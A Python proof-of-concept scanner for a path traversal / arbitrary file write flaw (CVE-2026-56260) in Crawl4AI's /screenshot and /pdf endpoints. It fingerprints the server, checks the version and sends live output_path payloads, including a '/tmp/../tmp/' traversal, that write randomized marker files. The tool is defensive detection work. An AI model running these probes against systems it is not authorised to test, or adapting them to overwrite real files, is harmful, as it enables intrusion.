#!/usr/bin/env python3
"""
CVE-2026-56260 - Crawl4AI Arbitrary File Write / Path Traversal PoC
CVSS: 9.1 | CWE: CWE-22
For authorized security testing only.

Vulnerability: Crawl4AI before 0.8.7 contains an arbitrary file write
vulnerability in the Docker API server's /screenshot and /pdf endpoints.
The output_path parameter accepts arbitrary filesystem paths without
validation, allowing an attacker to write to any location writable by
the application's user.

This PoC is DETECTION-ONLY:
  * It never targets sensitive OS files.
  * It writes/attempts to write only to a randomized, safe marker path
    (e.g., /tmp/awatch_probe_<uuid>.png) that does not overwrite
    existing files.
  * It uses error-based probing (invalid paths, non-writable locations)
    to confirm the vulnerable code path is reached.
"""

import argparse
import json
import re
import sys
import uuid
from urllib.parse import urlparse, urlunparse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TIMEOUT = 10
USER_AGENT = "AttackWatch-PoC-Scanner/1.0 (CVE-2026-56260)"

VULNERABLE_ENDPOINTS = ["/screenshot", "/pdf"]
PROBE_URL = "https://example.com"
FIXED_VERSION = (0, 8, 7)

VERSION_RE = re.compile(r"(\d+)\.(\d+)\.(\d+)")


def _log(verbose, msg):
    if verbose:
        sys.stderr.write("[*] " + msg + "\n")


def _normalize_target(target):
    """Ensure target has a scheme; return base URL without trailing slash."""
    if not target.startswith(("http://", "https://")):
        target = "http://" + target
    parsed = urlparse(target)
    path = parsed.path.rstrip("/")
    return urlunparse((parsed.scheme, parsed.netloc, path, "", "", ""))


def _headers():
    return {
        "User-Agent": USER_AGENT,
        "Accept": "application/json, */*",
        "Content-Type": "application/json",
    }


def _parse_version(text):
    if not text:
        return None
    m = VERSION_RE.search(text)
    if not m:
        return None
    try:
        return tuple(int(x) for x in m.groups())
    except ValueError:
        return None


def _is_vulnerable_version(ver):
    if not ver:
        return False
    return ver < FIXED_VERSION


def check_product(target, verbose=False):
    """Stage 1: Product/Service Detection (Passive)."""
    result = {"detected": False, "evidence": None}
    probe_paths = ["/health", "/", "/docs", "/openapi.json", "/schema"]
    indicators = [
        "crawl4ai",
        "crawl4ai-server",
        "/screenshot",
        "/pdf",
        "output_path",
        "screenshot_wait_for",
    ]

    for path in probe_paths:
        url = target + path
        _log(verbose, "Fingerprint probe: " + url)
        try:
            r = requests.get(
                url,
                headers=_headers(),
                timeout=TIMEOUT,
                verify=False,
                allow_redirects=True,
            )
        except requests.exceptions.RequestException as e:
            _log(verbose, "Probe failed for " + path + ": " + str(e))
            continue

        body_snippet = (r.text or "")[:6000]
        server_hdr = r.headers.get("Server", "")
        combined = (body_snippet + " " + server_hdr).lower()

        for token in indicators:
            if token.lower() in combined:
                result["detected"] = True
                result["evidence"] = (
                    "Indicator '" + token + "' found at " + path
                    + " (HTTP " + str(r.status_code) + ")"
                )
                _log(verbose, "Product detected via " + path)
                return result

    # Fallback: schema-error probe on /screenshot
    try:
        r = requests.post(
            target + "/screenshot",
            headers=_headers(),
            data=json.dumps({}),
            timeout=TIMEOUT,
            verify=False,
        )
        body = (r.text or "").lower()
        if any(k in body for k in ("output_path", "screenshot_wait_for", "crawl4ai")):
            result["detected"] = True
            result["evidence"] = (
                "Endpoint /screenshot returned Crawl4AI-style schema ("
                + "HTTP " + str(r.status_code) + ")"
            )
            _log(verbose, "Product detected via /screenshot schema echo")
            return result
    except requests.exceptions.RequestException as e:
        _log(verbose, "Fallback POST /screenshot failed: " + str(e))

    return result


def check_version(target, verbose=False):
    """Stage 2: Version Detection (Passive)."""
    result = {"potentially_vulnerable": False, "version": None, "evidence": None}
    version_paths = ["/health", "/", "/version", "/openapi.json"]

    for path in version_paths:
        url = target + path
        _log(verbose, "Version probe: " + url)
        try:
            r = requests.get(
                url,
                headers=_headers(),
                timeout=TIMEOUT,
                verify=False,
            )
        except requests.exceptions.RequestException as e:
            _log(verbose, "Version probe failed for " + path + ": " + str(e))
            continue

        # Structured JSON fields
        try:
            data = r.json()
            if isinstance(data, dict):
                for key in ("version", "crawl4ai_version", "app_version"):
                    if key in data:
                        ver = _parse_version(str(data[key]))
                        if ver:
                            ver_str = ".".join(str(x) for x in ver)
                            result["version"] = ver_str
                            result["evidence"] = (
                                "Version '" + ver_str + "' from "
                                + path + " (" + key + ")"
                            )
                            result["potentially_vulnerable"] = _is_vulnerable_version(ver)
                            return result
                # OpenAPI info.version
                info = data.get("info") if isinstance(data.get("info"), dict) else None
                if info and "version" in info:
                    ver = _parse_version(str(info["version"]))
                    if ver:
                        ver_str = ".".join(str(x) for x in ver)
                        result["version"] = ver_str
                        result["evidence"] = (
                            "Version '" + ver_str + "' from " + path
                            + " (info.version)"
                        )
                        result["potentially_vulnerable"] = _is_vulnerable_version(ver)
                        return result
        except (ValueError, json.JSONDecodeError):
            pass

        # Regex fallback on text body / headers
        text = (r.text or "")[:8000] + " " + r.headers.get("Server", "")
        for match in VERSION_RE.finditer(text):
            ver = tuple(int(x) for x in match.groups())
            # Only trust versions in a plausible Crawl4AI range
            if 0 <= ver[0] <= 5:
                ver_str = ".".join(str(x) for x in ver)
                result["version"] = ver_str
                result["evidence"] = "Version '" + ver_str + "' matched at " + path
                result["potentially_vulnerable"] = _is_vulnerable_version(ver)
                return result

    return result


def _safe_marker_path(prefix, ext):
    """Return a randomized, non-existent path under /tmp used as a probe."""
    return "/tmp/" + prefix + "_" + uuid.uuid4().hex + ext


def test_error_based(target, verbose=False):
    """Stage 3, Method 1: error_based.

    Sends output_path values that are guaranteed to fail (invalid characters,
    non-writable directories) and inspects error messages for evidence that
    the server accepted and used the attacker-controlled path directly.
    Absence of validation errors and presence of filesystem errors indicates
    the vulnerability.
    """
    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "error_based",
    }

    fs_error_indicators = [
        "permission denied",
        "read-only file system",
        "no such file or directory",
        "errno",
        "oserror",
        "ioerror",
        "cannot write",
        "filenotfounderror",
        "isadirectoryerror",
    ]
    validation_indicators = [
        "invalid path",
        "path is not allowed",
        "not permitted",
        "output_path must",
        "forbidden path",
        "value error",
    ]

    # Non-writable target (should trigger OS-level error if path is used raw).
    probes = [
        # write to root filesystem (typically not writable by app user)
        ("/nonexistent_dir_" + uuid.uuid4().hex + "/probe.png", "/screenshot"),
        ("/nonexistent_dir_" + uuid.uuid4().hex + "/probe.pdf", "/pdf"),
    ]

    for out_path, endpoint in probes:
        url = target + endpoint
        payload = {"url": PROBE_URL, "output_path": out_path}
        _log(verbose, "error_based probe -> " + endpoint + " output_path=" + out_path)
        try:
            r = requests.post(
                url,
                headers=_headers(),
                data=json.dumps(payload),
                timeout=TIMEOUT,
                verify=False,
            )
        except requests.exceptions.RequestException as e:
            _log(verbose, "Request failed: " + str(e))
            continue

        body = (r.text or "").lower()
        _log(verbose, "HTTP " + str(r.status_code) + " len=" + str(len(body)))

        # A patched server should reject the path before touching FS.
        if any(v in body for v in validation_indicators):
            _log(verbose, "Server rejected path (validation error) - likely patched")
            continue

        # Vulnerable server passes path straight to filesystem call.
        for ind in fs_error_indicators:
            if ind in body:
                result["confirmed"] = True
                result["confidence"] = 85
                result["evidence"] = (
                    "Endpoint " + endpoint + " returned filesystem error '"
                    + ind + "' for attacker-controlled output_path='"
                    + out_path + "' (HTTP " + str(r.status_code) + ") "
                    + "indicating no path validation."
                )
                return result

        # Some servers return 500 with a generic message; capture as weaker signal.
        if r.status_code >= 500 and "output_path" not in body:
            result["confirmed"] = True
            result["confidence"] = 55
            result["evidence"] = (
                "Endpoint " + endpoint + " returned HTTP " + str(r.status_code)
                + " for unwritable output_path without a validation message; "
                + "suggests raw filesystem usage."
            )
            # Keep looking for stronger evidence.

    return result


def test_file_write_marker(target, verbose=False):
    """Stage 3, Method 2: file_read (adapted as safe file_write marker).

    Because this CVE is a *write* primitive (not a read), the analog of
    'file_read' verification is to request a write to a safe marker path
    that includes traversal characters and verify the server accepts and
    processes it. The marker path is randomized under /tmp and never
    overwrites an existing file.
    """
    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "file_write_marker",
    }

    traversal_paths = [
        _safe_marker_path("awatch_probe", ".png"),
        # traversal form: resolves to /tmp/awatch_probe_<uuid>.png
        "/tmp/../tmp/awatch_probe_" + uuid.uuid4().hex + ".png",
    ]

    endpoints = ["/screenshot", "/pdf"]

    for endpoint in endpoints:
        ext = ".pdf" if endpoint == "/pdf" else ".png"
        for base_path in traversal_paths:
            out_path = base_path if base_path.endswith(ext) else base_path.rsplit(".", 1)[0] + ext
            url = target + endpoint
            payload = {"url": PROBE_URL, "output_path": out_path}
            _log(verbose, "file_write_marker probe -> " + endpoint + " output_path=" + out_path)

            try:
                r = requests.post(
                    url,
                    headers=_headers(),
                    data=json.dumps(payload),
                    timeout=TIMEOUT,
                    verify=False,
                )
            except requests.exceptions.RequestException as e:
                _log(verbose, "Request failed: " + str(e))
                continue

            body = (r.text or "")
            body_lc = body.lower()
            _log(verbose, "HTTP " + str(r.status_code) + " len=" + str(len(body)))

            # Rejection with validation message => patched.
            rejection_tokens = (
                "invalid path", "not allowed", "forbidden", "not permitted",
                "path must", "outside allowed", "value error"
            )
            if any(t in body_lc for t in rejection_tokens):
                _log(verbose, "Path rejected - patched behavior")
                continue

            # Success indicators - server accepted attacker-controlled path.
            success_tokens = (
                "success", "\"success\": true", "'success': true",
                "saved", "written", "output_path", "file_path"
            )
            if r.status_code < 300 and any(t in body_lc for t in success_tokens):
                # Check response for reflected attacker path.
                reflected = out_path in body or out_path.replace("//", "/") in body
                if reflected or out_path in body_lc:
                    result["confirmed"] = True
                    result["confidence"] = 95
                    result["evidence"] = (
                        "Endpoint " + endpoint + " accepted attacker-controlled "
                        + "output_path='" + out_path + "' (HTTP "
                        + str(r.status_code) + ") and reflected it, "
                        + "confirming arbitrary write."
                    )
                    return result

                result["confirmed"] = True
                result["confidence"] = 80
                result["evidence"] = (
                    "Endpoint " + endpoint + " returned success for "
                    + "output_path='" + out_path + "' (HTTP "
                    + str(r.status_code) + ") with no path validation."
                )
                return result

    return result


def check_vulnerability(target, active_test=True, callback_url=None, verbose=False):
    """Main vulnerability check orchestrator."""
    results = {
        "vulnerable": False,
        "confidence": 0,
        "evidence": None,
        "method": None,
        "stage": None,
        "product_detected": False,
        "version": None,
    }

    # Stage 1
    prod = check_product(target, verbose=verbose)
    if not prod["detected"]:
        results["evidence"] = "Crawl4AI Docker API server not detected"
        results["stage"] = "product_detection"
        return results
    results["product_detected"] = True
    _log(verbose, "Stage 1 OK: " + str(prod["evidence"]))

    # Stage 2
    ver = check_version(target, verbose=verbose)
    results["version"] = ver.get("version")
    if ver.get("potentially_vulnerable"):
        results["stage"] = "version_check"
        results["confidence"] = 30
        results["evidence"] = ver.get("evidence")
        results["method"] = "version_string"

    # Stage 3
    if active_test:
        for test_func in (test_error_based, test_file_write_marker):
            tr = test_func(target, verbose=verbose)
            if tr.get("confirmed") and tr.get("confidence", 0) > results["confidence"]:
                results["vulnerable"] = True
                results["confidence"] = tr["confidence"]
                results["evidence"] = tr["evidence"]
                results["method"] = tr["method"]
                results["stage"] = "active_test"
                if results["confidence"] >= 90:
                    break

    # Escalate to "vulnerable" if version says so AND product confirmed,
    # even without active confirmation, but keep confidence moderate.
    if not results["vulnerable"] and ver.get("potentially_vulnerable"):
        results["vulnerable"] = True
        results["confidence"] = max(results["confidence"], 40)
        results["method"] = results["method"] or "version_string"
        results["stage"] = results["stage"] or "version_check"
        results["evidence"] = results["evidence"] or ver.get("evidence")

    return results


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-56260 (Crawl4AI Path Traversal) Detection PoC"
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL or host:port")
    parser.add_argument("-c", "--check", action="store_true", help="Run vulnerability check")
    parser.add_argument("--version-only", action="store_true",
                        help="Passive version check only (skip active testing)")
    parser.add_argument("--callback", help="Callback URL for OOB detection (unused for this CVE)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")

    args = parser.parse_args()

    global TIMEOUT
    TIMEOUT = args.timeout

    try:
        target = _normalize_target(args.target)
    except Exception as e:
        sys.stderr.write("Error: invalid target: " + str(e) + "\n")
        sys.exit(2)

    _log(args.verbose, "Normalized target: " + target)

    try:
        if args.version_only:
            prod = check_product(target, verbose=args.verbose)
            if not prod["detected"]:
                print("[NOT VULNERABLE]")
                print("Confidence: 70%")
                print("Evidence: Crawl4AI Docker API server not detected")
                print("Method: product_detection")
                print("Stage: product_detection")
                sys.exit(0)

            ver = check_version(target, verbose=args.verbose)
            if ver.get("potentially_vulnerable"):
                print("[POTENTIALLY VULNERABLE]")
                print("Confidence: 40%")
                print("Evidence: " + str(ver.get("evidence")))
                print("Method: version_string")
                print("Stage: version_check")
                print("Note: Version-only check - active testing recommended")
                sys.exit(1)
            print("[NOT VULNERABLE]")
            print("Confidence: 70%")
            print("Evidence: Version " + str(ver.get("version")) + " is not in vulnerable range (<0.8.7)")
            print("Method: version_string")
            print("Stage: version_check")
            sys.exit(0)

        # Full check (default when -c or no --version-only)
        result = check_vulnerability(
            target,
            active_test=not args.version_only,
            callback_url=args.callback,
            verbose=args.verbose,
        )

        if result["vulnerable"]:
            print("[VULNERABLE]")
            print("Confidence: " + str(result["confidence"]) + "%")
            print("Evidence: " + str(result["evidence"]))
            print("Method: " + str(result["method"]))
            print("Stage: " + str(result["stage"]))
            sys.exit(1)
        else:
            confidence = 100 - int(result.get("confidence") or 0)
            print("[NOT VULNERABLE]")
            print("Confidence: " + str(confidence) + "%")
            print("Evidence: " + str(result.get("evidence") or "No vulnerable behavior observed"))
            print("Method: " + str(result.get("method") or "multi_stage"))
            print("Stage: " + str(result.get("stage") or "active_test"))
            sys.exit(0)

    except KeyboardInterrupt:
        sys.stderr.write("Interrupted by user\n")
        sys.exit(2)
    except Exception as e:
        sys.stderr.write("Error: " + str(e) + "\n")
        sys.exit(2)


if __name__ == "__main__":
    main()